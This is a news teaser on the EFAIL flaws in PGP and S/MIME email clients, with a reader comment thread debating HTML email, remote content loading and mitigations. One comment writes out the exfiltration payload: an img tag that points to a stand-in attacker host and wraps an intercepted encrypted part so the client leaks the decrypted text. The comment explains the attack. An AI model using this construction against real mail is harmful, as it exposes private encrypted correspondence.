S/MIME artists: EFAIL email app flaws menace PGP-encrypted chats

Security researchers have gone public with vulnerabilities in some secure mail apps that can be exploited by miscreants to decrypt intercepted PGP-encrypted messages. The flaws, collectively dubbed EFAIL, are present in the way some email clients handle PGP and S/MIME encrypted messages. By taking advantage of the way the …

COMMENTS

Post your comment **House rules** | **Send corrections**

Add to 'My topics'

Nate Amsden Monday 14th May 2018 20:52 GMT

Report abuse

Who relies on this stuff?

Does it only affect the encrypted data or does it affect messages that are simply signed by PGP (or S/MIME?)

I've only been using email for about 24 years and can't remember ever coming across anybody that encrypted their emails. I recall playing with it for a few minutes back in the 90s but that's as far as I got. Though I have seen many emails (mainly security or open source related mailing lists and stuff) that had PGP/GPG signatures(or so they claimed I have never tried to validate any of them).

14 9 Reply

This post has been deleted by its author

Doctor Syntax Monday 14th May 2018 21:39 GMT

Report abuse

Re: Who relies on this stuff?

who uses it. If we had a new version of SMTP that made it default it would take off. In the meantime those who need it really need it but, if they're focussed on their security they're likely to have HTML-enabled email turned off.

*Well, hardly anyone.

10 2 Reply

Anonymous Coward Monday 14th May 2018 22:01 GMT

Report abuse

Re: Who relies on this stuff?

In the meantime those who need it really need it but, if they're focussed on their security they're likely to have HTML-enabled email turned off.

Why do people use HTML in e-mails in the first place? As far as I can see it is mainly used for advertising spam and not conveying any useful information thus my spam filters dump those messages to trash (if someone wants to send a nice formatted letter then attach a PDF).

17 9 Reply

david 12 Monday 14th May 2018 22:13 GMT

Report abuse

Re: Who relies on this stuff?

Why do people use PDF in e-mails in the first place? As far as I can see, it's just a vehicle for malware....

19 0 Reply

JohnFen Monday 14th May 2018 23:55 GMT

Report abuse

Re: Who relies on this stuff?

I like it when these people use PDF instead of HTML in email. It makes it so much easier to ignore the message.

8 0 Reply

LDS Tuesday 15th May 2018 07:45 GMT

Report abuse

"Why do people use HTML in e-mails in the first place?"

Document formatting. MS used RTF for a while, but being a proprietary standard it was soon superseded by HTML. Sometimes, it could be useful.

The issue is nobody thought it would have been a good idea to limit the subset of comments.

Accessing and loading external entities should have been a big no-no. But they allow to lower bandwidth needs when sending millions of emails, and of course, they allow tracking. Whole companies are built to send and track newsletters and the like. They don't want to see a lucrative market go away.

11 1 Reply

tom dial Tuesday 15th May 2018 04:02 GMT

Report abuse

Re: Who relies on this stuff?

I've been beating that drum for over 20 years, pointing out that unencrypted email is like post cards. In that time I found only one other person who had bothered to set PGP. I persuaded one more to use it; he wouldn't until he found an application that would let him do it within his web browser of choice and hehabitually uses HTML. It is this kind of thing that convinces me there is little mileage in the current moral panic about Facebook and election meddling, or Google and privacy.

As noted, those who genuinely need the security shouldn't be using HTML email or decrypting it on a machine that ever touched the Internet (or a USB key). For the rest of us, who are unlikely to be worth targeting, PGP probably offers enough privacy even before this gets fixed. And for the overwhelming majority, it is of no consequence at all because they do not care that their email is open to general inspection.

7 1 Reply

teknopaul Tuesday 15th May 2018 17:21 GMT

Report abuse

Re: Who relies on this stuff?

Most email goes over ssl these days. The message is not encrypted but the transport is.

If you are running a password reset type thing you can insist on it serverside.

4 0 Reply

Agamemnon Tuesday 15th May 2018 19:08 GMT

Report abuse

Re: Who relies on this stuff?

LOLOL. Thank you for that Sir. Haven't finished my first cup of coffee and you put a smile on my face before anyone else could etch my usual scowl there.

I could wax silly about all of the problems with PKE and EMail and People, but I think you covered it quite nicely indeed.

Anonymous Coward Monday 14th May 2018 22:31 GMT

Report abuse

Re: Who relies on this stuff?

A certain large chipmaker encrypts all project and tech related email.

7 0 Reply

Anonymous Coward Monday 14th May 2018 23:21 GMT

Report abuse

Re: Who relies on this stuff?

I've only been using email for about 24 years and can't remember ever coming across anybody that encrypted their emails.

Looks like you haven't been working for Serious Enterprises (like, Space Serious) for some time.

5 0 Reply

veti Tuesday 15th May 2018 01:50 GMT

Report abuse

Re: Who relies on this stuff?

Err... it's a hack that can be used to decrypt encrypted content in some circumstances. If your content isn't encrypted in the first place, then it doesn't need decrypting, so this attack is unnecessary.

I'm a great believer in plain text emails, but I have to admit that HTML is also bloody useful. Mostly for tables - sending those in plain text is a right PITA, if only because the recipient probably isn't viewing a fixed-width font.

(Of course you can get around that by forcing a fixed-width font in your own message, using HTML formatting, so... what was I doing again?)

10 0 Reply

LDS Tuesday 15th May 2018 07:37 GMT

Report abuse

Re: Who relies on this stuff?

Italy's PEC (Posta Elettronica Certificata - Certified E-Mail), a mandatory government standard for certified document exchange via email (it has full legal value, like certified mail), is built on S/MIME (plus certified third parties that timestamp messages and send/delivery/read receipts and store a copy of the messages).

Mail encryption may have not become widespread because of the issues and costs

4 1 Reply

Anonymous Coward Tuesday 15th May 2018 09:08 GMT

Report abuse

Re: Who relies on this stuff?

Me.

I use crypted emails every day at work, because of $GOODREASONS, and it matters. And when I started, I had only been using email for about 20 years. Maybe it's just that your job doesn't need that much security.

2 0 Reply

Anonymous Coward Tuesday 15th May 2018 13:23 GMT

Report abuse

It's quite telling, how this epic failure is downplayed

Both OpenPGP and SMIME standards are broken by bad design. The later completely, the first one due do later tacked on security-checking that wasn't always enforced and "warnings" still returned the encrypted text in any case.

And then the developer communities of OpenPGP implementations PGP, GPG vact like complete idiots by downplaying and bad mouthing the research, and even speaking in public before fixing the big issues, but denying to do so (despite their Twitter posts are still online).

And why is there such a big push to HTTPS? And why is there no push to encrypted email? Everything around encrypted HTTP and email gets to a bigger clusterfuck by the day. Especially why now? What has changed in 2017/18, that we suddenly need HTTPS and not encrypted mails at all. Some big power somewhere wants to see HTTPS everywhere and no email encryption anywhere.

What we definitely need is a new next gen TLS alternative without hidden backdoors, and it should be used for HTTPS and encrypted mail transfer.

2 2 Reply

Anonymous Coward Thursday 17th May 2018 08:33 GMT

Report abuse

Re: It's quite telling, how this epic failure is downplayed

"Some big power somewhere wants to see HTTPS everywhere and no email encryption anywhere."

Exactly. How can Google and your ISP leverage your email for advertising if it's encrypted? S/MIME is sender to recipient - not transport encryption like TLS - that means big brother in the middle doesn't get to read it along the way nor does the admin/owner of the mail server. If it's Bad for Google then it must be Bad for You too.

As for S/MIME being broken completely, nay. Could be better, sure. The core problem here though is not S/MIME. Mail clients should never have rendered active or Internet content inside email messages in the first place. HTML email is great.. for formatting. Scripts should never be allowed. Images should be embedded, not downloaded. NOTHING should download when you open an email. Never ever. That's what is broken. Fix that and this problem evaporates.

1 0 Reply

This post has been deleted by its author

Camilla Smythe Monday 14th May 2018 22:12 GMT

Report abuse

Word elsewhere...

... is this is a ~~load of bollocks~~ storm in a teacup.

Can't be bothered to link directly to any particular relevant tweet. Just have a read through Glyn Moody.

https://twitter.com/glynmoody

HTML problems are already known. Other stuff has already been patched. The problem is not PGP GPG but e-mail and the way it is implemented.

9 1 Reply

veti Tuesday 15th May 2018 01:54 GMT

Report abuse

Re: Word elsewhere...

Ah, the inevitable "you're holding it wrong" defense...

That's like saying "the problem isn't that my defence isn't good enough, it's that these bastards keep attacking me". The whole reason PGP exists in the first place is to provide protection at precisely this level. If it's not doing that job, then what good is it?

5 2 Reply

tfb Tuesday 15th May 2018 12:22 GMT

Report abuse

Re: Word elsewhere...

PGP is doing its job: a mail client that thinks it is a good idea to talk to unconstrained systems on the net when you read a message, because of the content of that message and without asking you first, is catastrophically broken. This is only incidentally about encrypted mail: it means, for instance, I can send you a mail and the client will dutifully tell me when and if you open it. That sort of trick is going to be pretty useful to people wanting to build lists of valid email addresses, like spammers.

4 1 Reply

DropBear Tuesday 15th May 2018 13:07 GMT

Report abuse

Re: Word elsewhere...

Maybe this is specific to me and my bonkers-paranoid default settings for everything I touch, but Thunderbird has been asking me "there's linked stuff in this email, want me to load it?" (while showing me the bare-bones skeleton of text and missing images) for far longer than I can remember. Is this not a general phenomenon...?

5 0 Reply

John Brown (no body) Tuesday 15th May 2018 15:22 GMT

Report abuse

Re: Word elsewhere...

"Maybe this is specific to me and my bonkers-paranoid default settings for everything I touch, but Thunderbird has been asking me "there's linked stuff in this email, want me to load it?" (while showing me the bare-bones skeleton of text and missing images) for far longer than I can remember. Is this not a general phenomenon...?"

It's also why I use KMail. That's the default setting, no HTML, no external links. If I choose to click the option to allow HTML while the mail is on view, the second option to allow external links then shown with the rendered email but doesn't activate without user action. I believe it's also possible to do so in Outlook but the settings are bit obscure and buried.

As other shave said, this is not a PGP problem. It's mail clients which decrypt the email and THEN leak it. Nothing the PGP people can do can stop the mail clients leaking the data.

4 1 Reply

Camilla Smythe Monday 14th May 2018 22:24 GMT

Report abuse

Oh

Just to have a moan. I've been reading about this all day. I get the impression that El-Reg may have knobbed up on the reporting of this one.

4 2 Reply

pmb00cs Monday 14th May 2018 22:26 GMT

Damp Squib

The attempt by the authors to hype up this "vulnerability" for exposure is both obvious, and irritating. There are now going to be articles in the mainstream press "encrypted emails are insecure" for a week or so. Any one following reasonable practice with email security is simply not at risk due to this, despite the "turn off all encryption and uninstall the plugins" message that this was first reported with. All that is required to not be at risk from the "vulnerabilities" as described is to not automatically fetch remote content. An option that has been in email clients for ages, and has been good security practice for almost as long. That other vulnerabilities may exist for the second of the two attacks, which only allows the exfiltration of some of the plain text, rather than all of it for the first vulnerability, and is more technically involved than the first vulnerability, is something that is of minor concern, and should be patched against, but turning off html rendering (which has also been good security practice for ages) closes both holes completely.

Yes some of the vulnerable software has default settings that put the users at risk, reading the paper that is 13 of the 48 clients listed as tested, and 10 of those have the option to turn it off.

This meh at worst for those who need the extra protection of encrypted e-mail frankly.

11 1 Reply

JassMan Monday 14th May 2018 23:14 GMT

Report abuse

Am I missing something?

The researchers also note that the attacker needs full access to the target's email account. Unfortunately, guarding messages from an attacker with full access is one of the primary use cases for both encryption formats.

Surely they need full access to the target users computer not just the target's email account. The target user can not see the plain text of any received mails unless they are viewing them from the computer which holds the keyring which contains their private key, so how can anyone else? Or are they suggesting that people savvy enough to use encrypted mails are simultaneously stupid enough to store their keys on a cloud which uses their email credentials for access?

0 4 Reply

Kabukiwookie Monday 14th May 2018 23:42 GMT

Report abuse

Re: Am I missing something?

Surely they need full access to the target users computer not just the target's email account.

No, just having an email file itself allows an attacker to modify it, resend it and have (part of) the encrypted content fed back to the attacker as a URL that attempts to connect to an HTTP capable service owned by the attacker, due to the way that some email clients handle poorly formatted HTML in emails.

This is however only possible if the email client actively connects to URLs embedded in emails to retrieve content and the attacker must already have access to the emails, which mean either access to a user's account or access to a mail server.

The main group at risk of this, may be whistle blowers and political activists targeted by nations states who have access to email servers that contain a copy of the mail with encrypted content already and then only if they are using one of the affected email clients that allow retrieval of dynamic content in HTLM formatted mail.

8 0

Reply

Destroy All Monsters

Monday 14th May 2018 23:21 GMT

Report abuse

Wuh?

The vulnerability comes in two parts: an HTML exfiltration attack that would allow an attacker to send the target an email with malformed HTML code. The HTML code would then be able to trick the victim's client into trying to load a URL with the unencrypted message contained in plain text. The attacker would then simply need to view the URL request to see the decoded message.

I suppose the attacker sends a message that he intercepted earlier and of which he doesn't have the plaintext. But then the attack assumes a HTML reader with very specific faults, which somehow decrypts embedded data found in the HTML (why!), then is so utterly confused by the surrounding non-HTML that it pumps the decrypted back out over the Internet? A very specific fault.

0 0

Reply

Havin_it

Tuesday 15th May 2018 11:37 GMT

Report abuse

Re: Wuh?

Someone (possibly here yesterday) explained it thus: The attacker sends a crafted message with three MIME parts to it:

Part 1 (HTML)

<img src="http://badguyserver.cock/readmyplaintext.php?plaintext=

Part 2 (PGP / S/MIME)

[Previously-intercepted encrypted message]

Part 2 (HTML)

"/>

The silly mail client then glues all three into a single HTML part for display, and if it's REALLY silly it also goes right ahead and fetches the image, which passes the plaintext

Hope I have that right; for some reason I'm loath to grace the vanity vuln-site with a click.

3 0 Reply

JohnFen Monday 14th May 2018 23:53 GMT

Report abuse

That's my default configuration

"In order to mitigate the chance of a successful attack, the eggheads advised users who rely on PGP or S/MIME for email encryption to disable the viewing of HTML emails"

I always keep HTML disabled in email. It's always been a privacy and security problem. Also, HTML (or RTF or any other markup method) in email is nothing but incredibly annoying. Plain text only, please. If you really want to force your formatting on me, make it a PDF or give me a URL.

5 4 Reply

thames Tuesday 15th May 2018 01:30 GMT

Report abuse

Check the List

The authors have a list of email clients they tested where they state which ones had a problem, and which ones didn't.

My email client of choice - Claws Mail - was listed as not vulnerable to either attack.

Claws looks very old style, but it is fast, reliable, and has all the features I want. I have used Claws for years and highly recommend it.

7 0 Reply

Sitaram Chamarty Tuesday 15th May 2018 02:24 GMT

Report abuse

People keep saying "turn off HTML".

You don't need to do that. You only need to turn off remote image loading.

In Thunderbird, this is called "Show Remote Content", and defaults to "no".

I looked at the EFF site as well as the "branded/logo-ed" site for this vuln, and could find no sign of this particular aspect, which makes it a non-issue for most TB users (and I'm willing to bet most other mail clients too).

12 0 Reply

JohnFen Tuesday 15th May 2018 02:30 GMT

Yes if you're going to allow HTML emails, at the very least you should turn of remote loading of anything through them. But, really, you're best off not allowing HTML emails.

8 2 Reply

LDS Tuesday 15th May 2018 07:52 GMT

Report abuse

The fact is you can bypass that. Send a mail innocent-looking enough you trigger the user to enable images, at least for that message.

If you have access to the inbox, and not all emails are encrypted, you may have a good idea in what the user is interested in, and craft an appropriate email. Sure, it may not work 100% of the attempts, but I guess it could have a good rate of success.

As long the vulnerability exists, it can be exploited by some clever work.

0 2 Reply

fluffybunnyuk Tuesday 15th May 2018 04:58 GMT

Report abuse

File under : Does a bear s*** in the woods.

For me the knotty problem has always been how to make crypto useable to the average joe. Operating parameters for optimal use are rarely followed, sometimes even blatantly ignored at step 1.

Decryption should never be automatic, and use of a secure viewer technically isolated from other viewers(like a general email viewer) is highly recommended.

3 0 Reply

Christian Berger Tuesday 15th May 2018 05:15 GMT

Report abuse

It's not an PGP or S/MIME issue

It's an issue with brain dead mail clients interpreting HTML and loading external images, so stop trying to spin it as if it's an encryption issue. It's an HTML-mail issue, get rid of HTML and it's gone.

10 5 Reply

LDS Tuesday 15th May 2018 07:56 GMT

Report abuse

Re: It's not an PGP or S/MIME issue

It's a failure of the way emails are encrypted - the email content is not protected well enough, so you can inject pieces and get them decrypted without issues. There should

4 1 Reply

Anon Ymous 42 Friday 18th May 2018 09:00 GMT

Report abuse

Re: It's not an PGP or S/MIME issue - yes it is, but it can be fixed.

So the attack is based on the use of CBC which has been used for a number attacks on a number of cyphers for several years. URL’s in HTML mail, or even OCSP/CDP’s in plaintext emails where the email client doesn’t do full chain checking are the back channel.

The fix is to use cyphers that don’t use CBC. Your email client may need an update to support more recent non-CBC cyphers, and for S/Mime your cert needs to specify new ciphers in S/mime capabilities that doesn’t use CBC. Not trivial, but not tremendously difficult.

1 0 Reply

TrumpSlurp the Troll Tuesday 15th May 2018 08:26 GMT

Report abuse

Turn off encryption and remove plugins?

So there is a reported vulnerability in your front door lock which requires a lot of effort to use.

The recommendation is that you should remove your front door lock and leave all the windows open?

4 0 Reply

LDS Tuesday 15th May 2018 08:36 GMT

Report abuse

Re: Turn off encryption and remove plugins?

No, the advice is not relying on the lock for security - nor put any thing of value behind it, because if you're a target, and someone has already the keys to enter the building, it can easily bypass the lock, without you even noticing.

3 1 Reply

Anonymous Coward Tuesday 15th May 2018 12:52 GMT

Report abuse

Emails are like postcards ...

(as a previous commentard noted).

Once you have that lodged firmly in your noggin, you then modify *your* behaviour accordingly

Even an encrypted email is still the same as an encrypted message written on a postcard (with a similar consequence of drawing attention to itself in a sea of plaintext).

If you want to exchange securely encrypted messages, then you wouldn't start with email. You wouldn't have 35 years ago, and you wouldn't now.

All of a sudden that loss of over 50s knowledge is really starting to bite ....

4 0 Reply

Anonymous Coward Tuesday 15th May 2018 14:50 GMT

Report abuse

This still smacks to me of a slightly desperate attempt to discredit the use of PGP for email. There is no need to turn off your plugins or any other bollocks, just don't use it with HTML content.

3 2 Reply

JimmyPage Tuesday 15th May 2018 14:52 GMT

Report abuse

Now if I were going to design a secure messaging system ...

I'd start with my encrypted message handwritten on a piece of paper flipped in front of a webcam amongst a load of random characters on other pages.

If you've got your tradecraft right, you can use a public webcam that's pointed at a city square or something.

With the killer punch that if there are people doing this today we'd never know, because all the spy agencies are obsessed with digital encryption.

On a similar note, does anyone here know what that postcards in newsagents windows in London *really* say ?

The more the spooks show they rely on using digital technology to "operate", the more ways I could dream up of frustrating them.

We already have an internet dead letter drop mechanism in Usenet and binary newsgroups. Good luck finding any secret communications there. Especially if they were encoded by photographing a handwritten notice (in Farsi) and posting the JPEG.

2 0 Reply

Cynic_999 Tuesday 15th May 2018 17:17 GMT

Report abuse

Re: Now if I were going to design a secure messaging system ...

Yes, all very well if you only need to communicate a few sentences once in a while, but if you need to exchange long messages many times per day such methods are far to specifications and design details of a new computer or car design using jpegs of hand-written encrypted messages. (Not sure how encrypted text can be Farsi or any other language, though I suppose it could use an uncommon character set, such as ancient Egyptian hieroglyphics)

Meanwhile in the real World, I find it pretty easy to use a completely separate PGP (e.g. GPG) application and copy & paste from/to any encrypted email I receive or wish to send. The email client has no access to any PGP keys and so cannot decrypt the message no matter what email exploit is attempted. Probably takes 5 seconds longer than if the email client did the encryption or decryption.

3 0 Reply

JimmyPage Tuesday 15th May 2018 17:22 GMT

Report abuse

Re: Now if I were going to design a secure messaging system ...

You miss the point.

I'm suggesting methods by which the "bad guys" (who aren't so much interesting in building a new computer as blowing up a railway station) could ride a horse and cart through the security services obsession with digital encryption.

3 0 Reply

CommanderGalaxian Tuesday 15th May 2018 20:08 GMT

Report abuse

Not a PGP problem.

AFAICT this bug lurks in email clients that handle PGP - not actually PGP itself. Can't possibly think what organisations and governments would benefit from shouting "Fire" in a crowded theater?

3 0 Reply

POST COMMENT **House rules**

Not a member of The Register? Create a new account here.

Email	
Password	

☑ **Remember me** on this computer?
☐ Post **anonymously**?

Enter your comment **Add an icon**

Type your comment here — plain text only, no HTML

Preview Submit

About us

Who we are

Under the hood

Contact us

Advertise with us

More content

Week’s headlines

Top 20 stories

Alerts

Whitepapers

Situation Publishing

The Next Platform

Continuous Lifecycle London

M-cubed

Webinars

SITUATION PUBLISHING

The Register - Independent news and views for the tech community. Part of Situation Publishing

Sign up to our Newsletters

Join our daily or weekly newsletters, subscribe to a specific section or set News alerts

Subscribe

Cookies Privacy Ts&Cs